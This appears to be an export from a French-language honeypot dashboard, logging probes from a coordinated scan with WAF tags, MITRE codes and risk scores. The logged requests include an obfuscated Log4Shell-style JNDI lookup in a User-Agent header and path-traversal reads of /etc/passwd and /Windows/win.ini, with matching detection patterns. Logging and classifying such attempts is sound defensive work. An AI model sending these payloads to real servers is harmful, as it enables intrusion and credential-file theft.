"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-\/}${tqpk:n7v:-\/}${hmw",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-\/}${tqpk:n7v:-\/}${hmw2:pvuh:-U}${ju:byjh:o8j:-A}${8:j4:h:-l}${b4oh:-0}${zisb:5f64:7iu:-c}${rn:--}${${9:s:-s}${nt:ir\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p}${3:x:g2h:-:}${m4l:-\/}${tqpk:n7v:-\/}${hmw",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:",
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a392358eab9d881ec78aa8b06ec78678bd901c73",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:",
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8161_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "${${s9xl:-j}${cq3:-n}${r526:hzj6:qvo:-d}${6z9s:hpdz:0dh:-i}${lc:b1a:-:}${wt0:mt:-l}${o6:0sg2:zm:-d}${gu7:xi:-a}${0q6:-p\u2026",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8161 tcp \u00b7 via HTTP:8161 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8161\r\nAccept: *\/*\r\nUser-Agent: ${${s9xl:-j}${cq3:-n}${r526:hzj6:",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:16 UTC
TCP
8444 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8444 · (tentative d'exploit) · → /Windows/win.ini
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /Windows/win.ini UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/Windows/win.ini
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/Windows/win.ini
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 67
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0715
CRS-930100-sub
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930150 boot ini
SSRF Any-address SSRF
Ligne de requête
GET /Windows/win.ini HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /Windows/win.ini HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macin
Requête brute (extrait)
GET /Windows/win.ini HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "ini",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "6bd1b0105b5b25fd63b191c5027235e54945e569",
"http_target_hash": "b5d2bf3ef60b3bbf03ffbca44323fac1d6d4719a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 231,
"payload_entropy": 5.430072309684262,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 67,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "0b6200601d5cbedb38393020b9d577548f5c2a6b",
"event_fingerprint": "8170030a8e88080f8d80fe2ec3d5ace85a16247c",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 146,
"precision_signals": [
"pat-0715",
"CRS-930100-sub"
],
"kb_rule_ids": [
"pat-0715",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0715",
"pat-0324"
],
"matched_pattern_names": [
"CRS 930150 boot ini",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0715",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "0446753fa7f6bca08486b686a822f960",
"path_pattern_hash": "4a136e1e1f4d3c20d824eefa8bc8174c"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"payload_preview": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"evidence": {
"method": "GET",
"path": "\/Windows\/win.ini",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"request_sample": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "a8a7df0570200fd5c8d6ec7eb62400d388c671ca",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"pat-0715",
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"pat-0715",
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/Windows\/win.ini",
"request_line": "GET \/Windows\/win.ini HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/Windows\/win.ini",
"evidence_snippet": "GET \/Windows\/win.ini HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macin",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8444"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 14,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:40:16 UTC
TCP
8444 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8444 · (tentative d'exploit) · → /etc/passwd
Élevée
Élevé · 68
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
T1083
TA0001
TA0002
Protocole
GET /etc/passwd UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950264:lfi-1
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/etc/passwd
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8444
Chemin / cible
/etc/passwd
Pourquoi cette classification : Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Corrélation +10
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1083
pat-0716
pat-0802
pat-0137
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 930160 etc passwd
MITRE T1083 file enum
SSRF Any-address SSRF
LFI path /etc/passwd
Ligne de requête
GET /etc/passwd HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
lfi-1
rce-0
nosqli-3
Payload (extrait)
GET /etc/passwd HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh;
Requête brute (extrait)
GET /etc/passwd HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8444 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "6bd1b0105b5b25fd63b191c5027235e54945e569",
"http_target_hash": "b5cc3f676d00dd320d85ef41a5209fa0a99891ea",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 226,
"payload_entropy": 5.41863432293175,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8444,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 68,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "faac780220f6aed1573cf5de241ea7ba17e63f03",
"event_fingerprint": "817c884558547b46350d4ec668c9f82fb38b67a2",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 344,
"precision_signals": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"kb_rule_ids": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137",
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"matched_pattern_names": [
"CRS 930160 etc passwd",
"MITRE T1083 file enum",
"SSRF Any-address SSRF",
"LFI path \/etc\/passwd"
],
"pattern_ids": [
"pat-0716",
"pat-0802",
"pat-0324",
"pat-0137"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "1038d74b2bce2836edd1d3a7563f8dc1",
"path_pattern_hash": "74acf31844532670be412c65b8251ee5"
},
"target_context": {
"dst_port": 8444,
"service": "http",
"service_name": "http",
"risk_score": 68
},
"payload_preview": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"evidence": {
"method": "GET",
"path": "\/etc\/passwd",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950264:lfi-1",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-1",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"request_sample": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7c47063cb5199bb741f02cae7ce0c153c32039bc",
"protocol_details": {
"http_method": "GET",
"http_path": "\/etc\/passwd",
"request_line": "GET \/etc\/passwd HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8444,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/etc\/passwd HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8444\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh;",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8444 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/etc\/passwd",
"target_port_label": "8444 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 68,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 68,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8444,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"tags_summary_labels_fr": [
"MITRE-T1083",
"pat-0716",
"pat-0802",
"pat-0137"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
